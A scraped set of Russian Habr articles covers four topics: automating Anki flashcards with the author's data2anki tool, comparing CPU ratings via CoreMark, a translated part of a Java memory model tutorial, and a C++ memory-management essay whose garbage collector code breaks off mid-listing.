Несколько лет назад я задумался, как бы мне улучшить свой английский. Ничего лучшего, чем чтение литературы, на ум не пришло. Была приобретена электронная читалка, закачаны книги и я начал читать. В процессе чтения постоянно попадались незнакомые слова. Я их сразу переводил посредством встроенных в читалку словарей, но я заметил одну особенность: слова не хотели запоминаться. Когда я через несколько страниц снова встречал это слово, то с 90% вероятностью я снова нуждался в переводе, и так каждый раз. Напрашивался вывод, что мало просто переводить незнакомые слова в процессе чтения, нужно делать что-то еще. Идеальным бы вариантом было ввести его в обиход и начать пользоваться, но я живу не в англоязычной стране и это маловозможно. Тут мне вспомнилось, что я когда-то читал про [Интервальные повторения](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%B2%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%BF%D0%BE%D0%B2%D1%82%D0%BE%D1%80%D0%B5%D0%BD%D0%B8%D1%8F).
Что это такое и с чем его едят? Если коротко, то есть такая [кривая забывания](https://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B8%D0%B2%D0%B0%D1%8F_%D0%B7%D0%B0%D0%B1%D1%8B%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F), далее цитата из Википедии:
> Уже в течение первого часа забывается до 60 % всей полученной информации, через 10 часов после заучивания в памяти остаётся 35 % от изученного. Далее процесс забывания идёт медленно, и через 6 дней в памяти остаётся около 20 % от общего числа первоначально выученных слогов, столько же остаётся в памяти и через месяц.
И вывод остюда
> Выводы, которые можно сделать на основании данной кривой в том, что для эффективного запоминания необходимо повторение заученного материала.
Вот мы и пришли к идее [интервального повторения](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%B2%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%BF%D0%BE%D0%B2%D1%82%D0%BE%D1%80%D0%B5%D0%BD%D0%B8%D1%8F).
[АNKI](https://apps.ankiweb.net/) это абсолютная бесплатная с открытым исходным кодом программа, которая реализует идею интервального повторения. Проще говоря, компьютеризированные флэш карточки, на одной стороне вопрос, на другой ответ. Так как вы можете делать вопросы/ответы с помощью обычного *html/css/javascript*, то можно сказать, что она обладает поистине безграничными возможностями. Кроме того, она расширяема специальными [плагинами](https://ankiweb.net/shared/addons/), и один из них нам в дальнейшем очень пригодится.
Вручную создавать карточки это долго, нудно, и с большой вероятностью через некоторое время вы на — это дело забьете и поэтому я в какой то момент задал себе вопрос, а можно ли это дело автоматизировать. Ответ — да, можно. И я это сделал. Скажу сразу, это больше [POC (Proof of concept)](https://en.wikipedia.org/wiki/Proof_of_concept), но которым можно пользоваться. Если будет интерес со стороны пользователей и подтянутся другие разработчики, то его можно довести до готового продукта, которым сможет пользоваться даже технически неграмотные пользователи. Сейчас же использование моей утилиты подразумевает некоторые знания в программировании.
Я читаю книги с помощью программы [AIReader](https://play.google.com/store/apps/details?id=com.neverland.alreader&hl=en). У нее есть возможность подключения внешних словарей, а также при переводе слова она сохраняет слово, на которое вы вызвали перевод, в текстовый файл. Осталось дело за малым, перевести эти слова и создать ANKI карточки.
Сначала я пытался использовать для перевода [Google Translate](https://translate.google.com/), [Lingvo API](https://developers.lingvolive.com/en-us) и т.д. Но с бесплатными сервисами дело не пошло. Бесплатный лимит я исчерпывал еще в процессе разработки, кроме того, по условиям лицензии я не имел права кэшировать слова. В какой то момент я понял, что нужно переводить слова самому. В итоге был написан модуль [dsl2html](https://github.com/anatoly314/dsl2html) к которому можно подключать [DSL словари](http://lingvo.helpmax.net/en/troubleshooting/dsl-compiler/dsl-dictionary-structure/) и который умеет конвертировать их в *HTML* формат.
Вот так выглядит словарная статья в \**.html*, мой вариант в сравнении с вариантом [GoldenDict](http://goldendict.org/)
Перед тем как искать слово в подключенных словарях я привожу его к [словарной форме (лемме)](https://ru.wikipedia.org/wiki/%D0%9B%D0%B5%D0%BC%D0%BC%D0%B0%D1%82%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F) с помощью библиотеки [Stanford CoreNLP](https://stanfordnlp.github.io/CoreNLP/). На самом деле из-за этой библиотеки я и начал писать на Java и первоначальный план был написать все на Java, но в процессе я нашел библиотеку [node-java](https://github.com/joeferner/node-java) с помощью которой можно относительно просто исполнять Java код из nodejs и часть кода написана на JavaScript. Если бы я нашел эту библиотеку раньше, то на Java не было бы написано ни строчки. Еще один побочный проект который родился в процессе это создание [репозитория с DSL документацией](https://anatoly314.github.io/dsl-manual/) которая была найдена в сети в формате \**.chm*, сконвертирована и приведена в божеский вид. Если автор оригинального файла пользователь по ником **yozhic** видит эту статью то большое ему спасибо за проделанную работу, без его документации у меня бы скорее всего ничего не получилось.
Итак, у меня есть слово на английском, его словарная статья в формате \**.html*, осталось свести все воедино, создать ANKI статьи из списка слов и внести их в базу данных ANKI. Для этой цели был создан следующий проект [data2anki](https://github.com/anatoly314/data2anki). Он умеет на вход брать список слов, переводить, создавать ANKI \**.html* статьи и записывать их в базу данных ANKI. В конце статьи есть инструкция как им пользоваться. Пока же история вторая где интервальные повторения могут быть полезны.
История вторая.
---------------
Все люди в поиске более/менее квалифицированной специальности в том числе и программисты сталкиваются с необходимостью подготовки к интервью. Многие концепты которые спрашивают на интервью вы не используете в каждодневной практике и они забываются. При очередной подготовке к интервью, пролистывая конспект, книгу, справочник я столкнулся с тем, что очень много времени и внимания берет на то, чтобы отсеять информацию которую вы уже знаете потому, что она не всегда очевидна и приходится вчитываться, чтобы понять, что это нерелевантно. Когда же вы подходите к теме, которую действительно нужно повторить, очень часто бывает, что вы уже устали и качество подготовки страдает. В какой то момент я подумал, а почему бы не использоваться ANKI карточки и для этого? Например при конспектировании какой то темы, сразу создавать конспект в виде вопроса — ответа, а затем при повторении вы сразу будете знать, знаете вы или нет ответ на этот вопрос.
Проблема возникла только в том, что набивать вопросы очень долго и нудно. Чтобы облегчить процесс, в [data2anki](https://github.com/anatoly314/data2anki) проект я добавил функциональность конвертировать [markdown](https://en.wikipedia.org/wiki/Markdown) текст в ANKI карточки. Все, что вам надо, это написать один большой файл, в котором вопросы и ответы будут помечены заранее оговоренной последовательностью символов, по которым парсер будет понимать, где вопрос, а где ответ.
После того, как этот файл будет создан, вы запускаете data2anki и он создает ANKI карточки. Оригинальный файл легко править и делится, нужно лишь стереть соответствующую карточку(и) и снова запустить программу, и новый вариант будет создан.
Установка и пользованию
-----------------------
1. Установка ANKI + AnkiConnect
1. Скачиваете ANKI отсюда: <https://apps.ankiweb.net/>
2. Устанавливаете AnkiConnect plugin: <https://ankiweb.net/shared/info/2055492159>
2. Установка [data2anki](https://github.com/anatoly314/data2anki)
1. Скачиваете [data2anki](https://github.com/anatoly314/data2anki) c github репозитория
```
git clone https://github.com/anatoly314/data2anki
```
2. Устанавливаете зависимости
```
cd data2anki && npm install
```
3. Скачиваете java зависимости <https://github.com/anatoly314/data2anki/releases/download/0.1.0/jar-dependencies.zip>
4. Распаковываете **jar-dependencies.zip** и помещаете его содержимое в **data2anki/java/jars**
3. Использование для перевода слов:
1. В файле **data2anki/config.json**:
* в ключе **mode** прописываете значение **dsl2anki**
* в ключе **modules.dsl.anki.deckName** и **modules.dsl.anki.modelName** прописываете, соответственно, [Deck Name](https://apps.ankiweb.net/docs/manual.html#decks) и [Model Name](https://apps.ankiweb.net/docs/manual.html#note-types) (уже должны быть созданы перед созданием карточек). Сейчас поддерживается только модель типа **Basic**:
> Has Front and Back fields, and will create one card. Text you enter in Front will appear on the front of the card, and text you enter in Back will appear on the back of the card.
где исходное слово это *Front field*, а перевод будет в *Back field*.
Нет никакой проблемы добавить поддержку **Basic (and reversed card)**, где на слово и перевод будет создаваться и обратная карточка, где по переводу нужно будет вспомнить оригинальное слово. Нужно только наличие времени и желания.
* в ключе **modules.dsl.dictionariesPath** прописываете массив с подключенными \**.dsl* словарями. Каждый подключенный словарь это директория в которой находятся файлы словаря в соответствии с форматом: [Строение словаря DSL](https://anatoly314.github.io/dsl-manual/#dict.html)
* в ключе **modules.dsl.wordToTranslatePath** прописываете путь к списку слов которые вы хотите перевести.
2. Запускаете при рабочем ANKI приложении
```
node data2anki\index.js
```
3. PROFIT!!!
4. Использования для создания карточек из markdown
1. В файле **data2anki/config.json**:
* в ключе **mode** прописываете значение **markdown2anki**
* в ключе **modules.markdown.anki.deckName** и **modules.dsl.anki.modelName** прописываете, соответственно, [Deck Name](https://apps.ankiweb.net/docs/manual.html#decks) и [Model Name](https://apps.ankiweb.net/docs/manual.html#note-types) (уже должны быть созданы перед созданием карточек). Для **markdown2anki** mode поддерживается только модель типа **Basic**.
* в ключе **modules.markdown.selectors.startQuestionSelectors** и **modules.markdown.selectors.startAnswerSelectors** прописываете селекторы которыми вы отмечаете начало вопроса и ответа соответственно. Сама строка с селектором не будет отпарсена и в карточку не попадет, парсер начнет работу со следующей строки.
##### Например вот эта карточка вопрос/ответ:
##### Будет выглядеть в markdown следующим образом:
---
```
#QUESTION#
## Question 5. Write a mul function which will work properly when invoked with following syntax.
```javascript
console.log(mul(2)(3)(4)); // output : 24
console.log(mul(4)(3)(4)); // output : 48
```
#ANSWER#
Below is the code followed by the explanation of how it works:
```javascript
function mul (x) {
return function (y) { // anonymous function
return function (z) { // anonymous function
return x * y * z;
};
};
}
```
Here the `mul` function accepts the first argument and returns the anonymous function which takes the second parameter and returns the anonymous function which takes the third parameter and returns the multiplication of arguments which is being passed in successive
In Javascript function defined inside has access to outer function variable and function is the first class object so it can be returned by the function as well and passed as an argument in another function.
- A function is an instance of the Object type
- A function can have properties and has a link back to its constructor method
- A function can be stored as variable
- A function can be pass as a parameter to another function
- A function can be returned from another function
```
---
> Пример взят отсюда: [123-JavaScript-Interview-Questions](https://github.com/ganqqwerty/123-Essential-JavaScript-Interview-Questions)
Еще есть файл с примерами в папке проекта `examples/markdown2anki-example.md`
* в ключе **modules.markdown.pathToFile**
прописывате, путь к файлу где лежит \**.md* файл с вопросами/ответами
2. Запускаете при рабочем ANKI приложении
```
node data2anki\index.js
```
3. PROFIT!!!
#### Вот так это выглядит на мобильном телефоне:
Результат
---------
Полученные на desktop версии ANKI карточки без проблем синхронизируются с ANKI облаком (бесплатно до 100mb), а дальше вы можете пользоваться ими уже везде. Есть клиенты под Android и iPhone, также можно пользоваться и в браузере. В результате, если у вас есть время, которое не на что потратить, то вместо того, чтобы бесцельно пролистывать фейсбук или котиков в инстаграм, можно учить что-то новое.
Эпилог
------
Как я уже упоминал, это скорее рабочий POC, которым можно пользоваться, чем законченный продукт. Где-то процентов 30% стандарта DSL парсера не имплементировано, и поэтому, [например не все словарные статьи которые есть в словарях могут быть найдены](https://anatoly314.github.io/dsl-manual/#tag_service.html#alt), также есть идея переписать его на *JavaScript*, так как хочется "consistency", а кроме того, сейчас он написан не очень оптимально. Сейчас парсер строит дерево, а это помоему лишнее и не нужно усложняет код. В **markdown2anki** режиме картинки не парсятся. Я буду стараться потихоньку пилить, но, так как пока пишу для себя, то в первую очередь буду решать те грабли, на которые буду сам наступать, но если кто-то захочет помочь, то милости просим. Если есть вопросы, по программе, то буду рад помочь через отрытые issues в соответствующих проектах. Остальную критику и предложения пишите здесь. Надеюсь, кому-то этот проект будет полезен.
P.S. Если заметили ошибки (а они, к сожалению, есть), пишите в личку, все поправлю. | https://habr.com/ru/post/454236/ | null | ru | null |
# Рейтинг процессоров по методике CoreMark
Подбирая новый десктоп столкнулся с хаосом различных оценок быстродействия системы. И вроде бы всем давно известно, что связку компонентов следует подбирать по принципу «морского конвоя» — общая скорость конвоя определяется самым медленным кораблём, коими выступают скорость обмена между блоками CPU, RAM и прослойке в виде чипсетов. Однако в связи с очень крутыми переменами на процессорном фронте для меня всё не так объективно, и наибольшой объём непонимания я ассоциирую именно с процессорными кристаллами. С одной стороны рынок идёт вслед за серверами, многопоточностью и увеличением количества ядер, в разы увеличиваются частоты обмена между компонентами, с другой стороны софт медленно оптимизируется под многопроцессорность, исключение составляют лишь математические и инженерные пакеты, реально способные загрузить все ядра целиком. За последние 5 лет изменилась сама архитектура рядового десктопного процессора, хотя шина данных и не преодолела 64 бит, поколение Intell Haswell обрело высокопроизводительную кольцевую шину, после конвейера и HT её я лично считаю новым витком эволюции центральных микропроцессоров на платформе PC, что в купе с переориентацией производителей на Green Technology и низкое потребление должно наконец привести рынок к новым высокопродуктивным и энергоэффективным решениям. Вот о последних мне и хотелось бы услышать от пользователей Хабра, как у наиболее осведомлённой аудитории.
[По следующей ссылке](http://technodaily.ru/?p=1050#comments), ведущей на страницу с рейтингом процессоров, приведён один интересующий меня комментарий. Дословная цитата:
> «В интернете множество таблиц со сравнительными характеристиками процессоров. Но очень тяжело найти таблицы сравнивающие архитектуры. Есть такой редко применяемый параметр DMIPS/MHz. Этот параметр показывает удельную производительность за один такт. Такой параметр позволяет понять чья архитектура является самой эффективной и имеет лучшие шансы. Например процессоры основанные на ядрах ARM сравнивают именно в удельной производительности. И в удельной производительности они лучше чем процессоры Intel. Это означает, что если Samsung сделает процессор с ядром ARM для очередного iPhone по самой современной технологии 22 нм, то у них получится процессор с характеристиками лучше чем самые современные процессоры Intel. Второй важный параметр для сравнения архитектур это производительность DMIPS/Ватт. Позволяет оценить энергопотребление архитектуры. Чем меньше требует электроэнергии процессор тем больше у него шансов к использования в мобильных (телефоны, планшеты) или наоборот в сверхбольших системах (суперкомпьютеры). Было бы очень приятно, если бы хоть одно интернет СМИ сделало обширную таблицу по старым и новым архитектурам различных (не только Intel, AMD или ARM) процессоров.»
Согласитесь, количество электроэнергии в мире жёстко лимитировано количеством электростанций, которые вводятся в эксплуатацию не так уж и часто, рост тарифов на электроэнергию наблюдатся повсеместно, а объём микропроцессоров на руках у населения и в собственности предприятий растёт лавинообразно. Наиболее ярко выражают общую ситуацию дата-центры, в которых стоимость основных фондов в виде парка серверов невелика по сравнению с общими затратами на питание стоек и функционирование систем охлаждения. Отсюда закономерно возникает необходимость вывода адекватного рейтинга процессоров с поправкой на TDP/Mhz для рядовых потребителей без необходимости лазить в каждый даташит в отдельности и тратить время. Другое дело, по секрету между нами, потребители редко смотрят на TDP. Только т-с-с…
Что же мне остаётся, на какой процессор мне ориентироваться? Для начала неплохо бы взглянуть на общий рейтинг ВСЕХ мейнстримовых решений на рынке, ну или почти всех. Приступим. Как ясно из заголовка, я воспользовался базой [CoreMark](http://www.coremark.org/). Предварительно стоит зарегистрироваться, можно пройти эту процедуру по ходу скачивания самих исходников теста:
Затем, выбрав вендоры,
можно лицезреть вот такие славные таблички (особое внимание прошу обратить на количество потоков):
Попутно я оценил Atom N455, распаковав высланные исходники теста coremark\_v1.0.tgz и набрав для 2-х потоков в консоли `make PORT_DIR=linux XCFLAGS="-g -DMULTITHREAD=2 -DUSE_FORK=1"`. Результат в 4500 вполне точно вписался в общую картину. [Подробная информация о тесте.](http://www.russianelectronics.ru/leader-r/review/2192/doc/56667/)
Теперь мне оставалось только поискать инфо о текущих флагманах десктопов:
> Мощные процессоры 2014 года и условный рейтинг производительности (в редакции [dxdigitals.info](http://www.dxdigitals.info/2014/02/vibor-processora-vibirayem-samiy-luchshiy-processor.html)):
>
>
>
> Intel Core i7-4765T 50,4
>
> Intel Core i5-4670K 56,7
>
> Intel Core i5-4670 57,2
>
> Intel Core i7-4770T 59,7
>
> Intel Core i7-3770S 63,1
>
> Intel Core i7-3820 63,8
>
> AMD FX-9370 64,5
>
> Intel Xeon E3-1240 V2 65,4
>
> Intel Core i7-3770 66,2
>
> Intel Core i7-3770K 67,3
>
> Intel Core i7-4820K 67,4
>
> AMD FX-9590 68,5
>
> Intel Core i7-4771 69,7
>
> Intel Core i7-4770 72,4
>
> Intel Core i7-4770K 72,5
>
> Intel Core i7-3930K 87,5
>
> Intel Core i7-3970X 94,2
>
>
А также учесть TDP:
Итоги: нынешняя ситуация с рейтингами выглядит довольно однобоко и лично меня совершенно не устраивает. Вместо кучки раскиданных в Интернет страниц хотелось бы увидеть совмещение в одной итоговой таблице общей цифры производительности, энергетической эффективности и удельной отдачи от суммы покупки. Но пока производители и маркетологи темнят приходится изобретать велосипед. Очень бы хотелось увидеть в Ваших комментариях иную точку зрения и таки лицезреть данную таблицу вживую. Спасибо за внимание. | https://habr.com/ru/post/225853/ | null | ru | null |
# Java-модель памяти (часть 2)
Привет, Хабр! Представляю вашему вниманию перевод второй части статьи [«Java Memory Model»](http://tutorials.jenkov.com/java-concurrency/java-memory-model.html) автора Jakob Jenkov. Первая часть [тут](https://habr.com/ru/post/510454/).
Аппаратная архитектура памяти
=============================
Современная аппаратная архитектура памяти несколько отличается от внутренней Java-модели памяти. Важно понимать аппаратную архитектуру, чтобы понять, как с ней работает Java-модель. В этом разделе описывается общая аппаратная архитектура памяти, а в следующем разделе описывается, как с ней работает Java.
Вот упрощенная схема аппаратной архитектуры современного компьютера:
Современный компьютер часто имеет 2 или более процессоров. Некоторые из этих процессоров также могут иметь несколько ядер. На таких компьютерах возможно одновременное выполнение нескольких потоков. Каждый процессор *(прим. переводчика — тут и далее под процессором автор вероятно подразумевает ядро процессора или одноядерный процессор)* способен запускать один поток в любой момент времени. Это означает, что если ваше Java-приложение является многопоточным, то внутри вашей программы может быть запущен одновременно один поток на один процессор.
Каждый процессор содержит набор регистров, которые, по существу, находятся в его памяти. Он может выполнять операции над данными регистрах намного быстрее, чем в над данными, которые находятся в основной памяти компьютера (ОЗУ). Это связано с тем, что процессор может получить доступ к этим регистрам гораздо быстрее.
Каждый ЦП также может иметь слой кэш-памяти. Фактически, большинство современных процессоров его имеют. Процессор может получить доступ к своей кэш-памяти намного быстрее, чем к основной памяти, но, как правило, не так быстро, как к своим внутренним регистрам. Таким образом, скорость доступа к кэш-памяти находится где-то между скоростями доступа к внутренним регистрам и к основной памяти. Некоторые процессоры могут иметь многоуровневый кэш, но это не так важно знать, чтобы понять, как Java-модель памяти взаимодействует с аппаратной памятью. Важно знать, что процессоры могут иметь некоторый уровень кэш-памяти.
Компьютер также содержит область основной памяти (ОЗУ). Все процессоры могут получить доступ к основной памяти. Основная область памяти обычно намного больше, чем кэш-память процессоров.
Как правило, когда процессору нужен доступ к основной памяти, он считывает её часть в свою кэш-память. Он может также считывать часть данных из кэша в свои внутренние регистры и затем выполнять операции над ними. Когда ЦПУ необходимо записать результат обратно в основную память, он сбрасывает данные из своего внутреннего регистра в кэш-память и в какой-то момент в основную память.
Данные, хранящиеся в кэш-памяти, обычно сбрасываются обратно в основную память, когда процессору необходимо сохранить в кэш-памяти что-то еще. Кэш может очищать свою память и записывать в неё новые данные одновременно. Процессор не должен читать/записывать полный кэш каждый раз, когда он обновляется. Обычно кэш обновляется небольшими блоками памяти, называемыми «строками кэша». Одна или несколько строк кэша могут быть считаны в кэш-память, и одна или более строк кэша могут быть сброшены назад в основную память.
Совмещение Java-модели памяти и аппаратной архитектуры памяти
=============================================================
Как уже упоминалось, Java-модель памяти и аппаратная архитектура памяти различны. Аппаратная архитектура не различает стеки потоков и кучу. На оборудовании стек потоков и куча (heap) находятся в основной памяти. Части стеков и кучи потоков могут иногда присутствовать в кэшах и внутренних регистрах ЦП. Это показано на диаграмме:
Когда объекты и переменные могут храниться в различных областях памяти компьютера, могут возникнуть определенные проблемы. Вот две основные:
• Видимость изменений, которые произвёл поток над общими переменными.
• Состояние гонки при чтении, проверке и записи общих переменных.
Обе эти проблемы будут объяснены в следующих разделах.
#### Видимость общих объектов
Если два или более потока делят между собой объект без надлежащего использования volatile-объявления или синхронизации, то изменения общего объекта, сделанные одним потоком, могут быть невидимы для других потоков.
Представьте, что общий объект изначально хранится в основной памяти. Поток, выполняющийся на ЦП, считывает общий объект в кэш этого же ЦП. Там он вносит изменения в объект. Пока кэш ЦП не был сброшен в основную память, измененная версия общего объекта не видна потокам, работающим на других ЦП. Таким образом, каждый поток может получить свою собственную копию общего объекта, каждая копия будет находиться в отдельном кэше ЦП.
Следующая диаграмма иллюстрирует набросок этой ситуации. Один поток, работающий на левом ЦП, копирует в его кэш общий объект и изменяет значение переменной `count` на 2. Это изменение невидимо для других потоков, работающих на правом ЦП, поскольку обновление для `count` ещё не было сброшено обратно в основную память.
Для того, чтобы решить эту проблему, вы можете использовать [`ключевое слово volatile`](http://tutorials.jenkov.com/java-concurrency/volatile.html) при объявлении переменной. Оно может гарантировать, что данная переменная считывается непосредственно из основной памяти и всегда записывается обратно в основную память, когда обновляется.
#### Состояние гонки
Если два или более потоков совместно используют один объект и более одного потока обновляют переменные в этом общем объекте, то может возникнуть [состояние гонки](http://tutorials.jenkov.com/java-concurrency/race-conditions-and-critical-sections.html).
Представьте, что поток A считывает переменную `count` общего объекта в кэш своего процессора. Представьте также, что поток B делает то же самое, но в кэш другого процессора. Теперь поток A прибавляет 1 к значению переменной `count`, и поток B делает то же самое. Теперь переменная была увеличена дважды — отдельно по +1 в кэше каждого процессора.
Если бы эти приращения были выполнены последовательно, переменная `count` была бы увеличена в два раза и обратно в основную память было бы записано `исходное значение + 2`.
Тем не менее, два приращения были выполнены одновременно без надлежащей синхронизации. Независимо от того, какой из потоков (A или B), записывает свою обновленную версию `count` в основную память, новое значение будет только на 1 больше исходного значения, несмотря на два приращения.
Эта диаграмма иллюстрирует возникновение проблемы с состоянием гонки, которое описано выше:
Для решения этой проблемы вы можете использовать [синхронизированный блок Java](http://tutorials.jenkov.com/java-concurrency/synchronized.html). Синхронизированный блок гарантирует, что только один поток может войти в данный критический раздел кода в любой момент времени. Синхронизированные блоки также гарантируют, что все переменные, к которым обращаются внутри синхронизированного блока, будут считаны из основной памяти, и когда поток выйдет из синхронизированного блока, все обновленные переменные будут снова сброшены в основную память, независимо от того, объявлена ли переменная как `volatile` или нет. | https://habr.com/ru/post/510618/ | null | ru | null |
# Garbage Collector & C++
Ручное управление памятью с С++ — одновременно один из самых больших плюсов и минусов в языке. Действительно, эта парадигма позволяет создавать очень производительные программы, однако она же рождает и кучу проблем. Существует несколько способов избавится от них. Я попробовал несколько и в итоге пришел к сборщику мусора. В этой статье я хочу изложить не столько реализацию сборщика мусора на С++, сколько историю идеи и его использования, каково им пользоваться и почему в итоге от него отказался.
Итак, как у большинства программистов у меня есть свой проект, а именно двумерный игровой движок. На нем и производились все «эксперименты».
Этап первый: отладка памяти
===========================
Самая часто встречающаяся проблема при ручном управлении памятью — это утечки. Чтобы узнать о них нужно следить за памятью. Именно таков и был мой первоначальных подход. Следим за созданием и удалением объектов, проверяем после завершения программы что осталось не удаленным. Делается очень просто: перегружаем операторы **new** и **delete**, чтобы они могли принимать в параметрах имя файла исходного кода и строчку, откуда происходит аллокация, и храним все аллокации в одном месте. Для удобства объявляем макрос, который и передает имя файла и строку в оператор. Соответственно при удалении объекта удаляем запись о соответствующей аллокации.
**Код**
```
#include
class MemoryManager
{
struct AllocInfo
{
const char\* source;
int line;
int size;
void\* data;
};
static MemoryManager instance;
std::vector allocations;
public:
static void RegAllocation(void\* ptr, int size, const char\* source, int line)
{
AllocInfo info;
info.data = ptr;
info.size = size;
info.source = source;
info.line = line;
instance.allocations.push\_back(info);
}
static void UnregAllocation(void\* ptr)
{
for (std::vector::iterator it = instance.allocations.begin(); it != instance.allocations.end(); ++it)
{
if (it->data == ptr)
{
instance.allocations.erase(it);
return;
}
}
}
static void PrintInfo()
{
for (std::vector::iterator it = instance.allocations.begin(); it != instance.allocations.end(); ++it)
printf("0x%x: %i bytes at %s: %i", it->data, it->size, it->source, it->line);
}
};
MemoryManager MemoryManager::instance;
void\* operator new(size\_t size, const char\* location, int line)
{
void\* res = ::operator new(size);
MemoryManager::RegAllocation(res, size, location, line);
return res;
}
void operator delete(void\* allocMemory, const char\* location, int line)
{
MemoryManager::UnregAllocation(allocMemory);
}
void operator delete(void\* allocMemory)
{
MemoryManager::UnregAllocation(allocMemory);
}
#define mnew new(\_\_FILE\_\_, \_\_LINE\_\_)
int main()
{
int\* data = mnew int;
MemoryManager::PrintInfo();
return 0;
}
```
**Плюсы**
* просто и понятно
* не затратно в плане ресурсов
* в ходе выполнения программы мы знаем количество задействованной памяти
**Минусы**
* чтобы узнать об утечках, нужно завершать программу
* не очень информативно откуда именно происходят аллокации
* использование перегруженных операторов немного меняет синтаксис
Этап второй: умные указатели
============================
И правда же, самое распространенное решение проблемы управления памятью — умные указатели. О них вас обязательно спросят на собеседовании. Идея проста: вместо обычных указателей мы используем шаблонные классы, которые работают как указатели, но имеют дополнительный функционал для автоматического освобождения объектов. Вместе с объектом храним счетчик ссылок, при присваивании значения указателю увеличиваем счетчик, при уничтожении указателя — уменьшаем. Если счетчик равен нулю — объект никому не нужен и его можно освободить. Однако, есть небольшая проблема — если два объекта ссылаются друг на друга, они никогда не будут освобождены, так как у обоих счетчик ссылок равен единице.
Слабые указатели решают эту проблему зацикленности. Один из указателей делается слабым, и теперь счетчики ссылок равны нулю и оба объекта могут быть освобождены.
Что ж, давайте придумаем ситуацию посложнее.
Такую ситуацию тоже можно разрешить с помощью слабых/сильных указателей, но будет ли это легче ручного управления? Если программист что-то сделает неправильно, результат будет такой же: утекший неосвобожденный объект. На самом деле, такие ситуации встречаются редко и в целом такой подход значительно упрощает работу с памятью.
**Плюсы**
* не требует много ресурсов
* гарантирует корректное освобождение объектов при правильной архитектуре
* просто в освоении
**Минусы**
* усложняет синтаксис
* в некоторых ситуациях сложно правильно выстроить слабые/сильные указатели
* зацикленные ссылки приводят к утечкам
Этап третий: велосипедостроительство
====================================
Опробовав умные указатели, я остался неудовлетворен. Просто хочется использовать один у тот же тип умного указателя везде и не задумываться о зацикленных ссылках. Пусть он сам о них задумывается. Но как это сделать? Представим ситуацию:
Нужно как-то узнать что два нижних объекта зациклены и их можно удалить, ведь на них никто не ссылается. По рисунку уже несложно догадаться: если ссылки от объекта не ведут к верхнеуровневым объектам, значит он может быть освобожден. Верхнеуровневые объекты — это, грубо говоря, те объекты, с которых начинается инициализация приложения. Для С++ это объекты на стеке и статические.
Этап четвертый: сборщик мусора
==============================
Думаю, внимательный читатель уже понял, что это и есть схема работы сборщика мусора, только наоборот. Самый простой сборщик работает примерно так: спускаясь по ссылкам от верхнеуровневых объектов помечаем всех как актуальные, после этого мы имеем право удалить те, что оказались не помеченными.
Для реализации нам потребуется такой же шаблонный класс указателя, как и в случае с умными указателями. Плюс нужен сам сборщик, который будет за всем следить и производить собственно сборку мусора.
**Чуть больше кода**
```
#include
#include
#include
class IPtr;
template
struct Destroyer
{
static void Destroy(void\* obj)
{
(\*(T\*)(obj)).~T();
}
};
class MemoryManager
{
public:
struct ObjectInfo
{
void\* object;
size\_t size;
bool mark;
const char\* source;
int line;
std::vector pointers;
void(\*destroy)(void\*) = nullptr;
};
private:
static MemoryManager instance;
std::map objects;
std::vector pointers;
size\_t allocatedBytes = 0;
bool currentMark = true;
public:
static void CollectGarbage();
protected:
void MarkObject(ObjectInfo\* info);
friend void\* operator new(size\_t size, const char\* source, int line);
friend void operator delete(void\* object, const char\* source, int line);
friend void operator delete(void\* object);
template
friend class Ptr;
};
MemoryManager MemoryManager::instance;
class IPtr
{
protected:
void\* object;
MemoryManager::ObjectInfo\* info;
public:
virtual ~IPtr() {}
virtual bool IsRoot() const = 0;
protected:
void MarkInvalid()
{
object = nullptr;
info = nullptr;
}
friend void operator delete(void\* object);
friend class MemoryManager;
};
template
class Ptr: public IPtr
{
public:
Ptr()
{
object = nullptr;
info = nullptr;
MemoryManager::instance.pointers.push\_back(this);
}
Ptr(T\* object)
{
this->object = object;
auto fnd = MemoryManager::instance.objects.find(object);
if (fnd != MemoryManager::instance.objects.end())
{
info = fnd->second;
info->pointers.push\_back(this);
if (!info->destroy)
info->destroy = &Destroyer::Destroy;
}
MemoryManager::instance.pointers.push\_back(this);
}
Ptr(const Ptr& other)
{
object = other.object;
info = other.info;
if (info)
info->pointers.push\_back(this);
MemoryManager::instance.pointers.push\_back(this);
}
~Ptr()
{
if (info)
{
auto fnd = std::find(info->pointers.begin(), info->pointers.end(), this);
if (fnd != info->pointers.end())
info->pointers.erase(fnd);
}
auto fnd = std::find(MemoryManager::instance.pointers.begin(), MemoryManager::instance.pointers.end(), this);
if (fnd != MemoryManager::instance.pointers.end())
MemoryManager::instance.pointers.erase(fnd);
}
T\* Get() const
{
return (T\*)object;
}
bool IsValid() const
{
return object != nullptr;
}
bool IsRoot() const
{
return false;
}
operator bool()
{
return object != nullptr;
}
operator T\*()
{
return (T\*)object;
}
T\* operator->()
{
return (T\*)object;
}
T& operator\*()
{
return \*(T\*)object;
}
const T& operator\*() const
{
return \*(T\*)object;
}
Ptr& operator=(const Ptr& other)
{
if (info)
{
auto fnd = std::find(info->pointers.begin(), info->pointers.end(), this);
if (fnd != info->pointers.end())
info->pointers.erase(fnd);
}
object = other.object;
info = other.info;
if (info)
info->pointers.push\_back(this);
return \*this;
}
Ptr& operator=(T\* other)
{
if (info)
{
auto fnd = std::find(info->pointers.begin(), info->pointers.end(), this);
if (fnd != info->pointers.end())
info->pointers.erase(fnd);
}
object = other;
auto fnd = MemoryManager::instance.objects.find(object);
if (fnd != MemoryManager::instance.objects.end())
{
info = fnd->second;
info->pointers.push\_back(this);
if (!info->destroy)
info->destroy = &Destroyer::Destroy;
}
else info = nullptr;
return \*this;
}
};
template
class RootPtr: public Ptr
{
public:
RootPtr():Ptr() {}
RootPtr(T\* object):Ptr(object) {}
RootPtr(const Ptr& other):Ptr(other) {}
bool IsRoot() const
{
return true;
}
operator bool()
{
return object != nullptr;
}
operator T\*()
{
return (T\*)object;
}
T\* operator->()
{
return (T\*)object;
}
T& operator\*()
{
return \*(T\*)object;
}
const T& operator\*() const
{
return \*(T\*)object;
}
RootPtr& operator=(const Ptr& other)
{
Ptr::operator=(other);
return \*this;
}
RootPtr& operator=(T\* other)
{
Ptr::operator=(other);
return \*this;
}
};
